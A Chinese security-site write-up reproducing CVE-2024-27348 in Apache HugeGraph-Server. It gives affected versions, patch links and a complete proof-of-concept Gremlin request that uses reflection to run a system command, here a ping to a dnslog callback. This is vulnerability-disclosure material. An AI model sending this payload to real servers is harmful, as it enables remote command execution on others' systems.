Apache HugeGraph-Server远程命令执行漏洞(CVE-2024-27348)

admin 2024年6月11日22:47:03评论34 views字数 1206阅读4分1秒阅读模式
0x01漏洞介绍
Apache HugeGraph-Server远程命令执行漏洞(CVE-2024-27348)

Apache HugeGraph是美国阿帕奇(Apache)基金会的一个速度快、可扩展性强的图形数据库。

Apache HugeGraph 1.0.0至1.3.0之前版本存在安全漏洞,该漏洞源于存在远程命令执行(RCE)漏洞。

0x02影响版本

1.0.0 <= HugeGraph-Server < 1.3.0

Apache HugeGraph-Server远程命令执行漏洞(CVE-2024-27348)

0x03漏洞复现

1.访问漏洞环境

Apache HugeGraph-Server远程命令执行漏洞(CVE-2024-27348)

2.对漏洞进行复现

POC 

漏洞复现

POST /gremlin HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonContent-Length: 382{"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName("java.lang.Thread");java.lang.reflect.Field field = clz.getDeclaredField("name");field.setAccessible(true);field.set(thread, "SL7");Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList("ping", "pkay8w.dnslog.cn");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod("start");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}

测试dnslog命令执行成功

Apache HugeGraph-Server远程命令执行漏洞(CVE-2024-27348)

3.Yakit工具加载nuclei文件测试(漏洞存在)

Apache HugeGraph-Server远程命令执行漏洞(CVE-2024-27348)

0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://hugegraph.apache.org/docs/download/download/https://github.com/apache/incubator-hugegraph/releases/tag/1.3.0

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月11日22:47:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache HugeGraph-Server远程命令执行漏洞(CVE-2024-27348)https://cn-sec.com/archives/2838750.html

发表评论

匿名网友 填写信息